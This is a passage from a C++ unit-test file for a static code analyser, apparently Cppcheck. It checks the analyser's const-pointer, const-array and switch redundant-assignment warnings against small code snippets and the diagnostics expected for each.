ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? 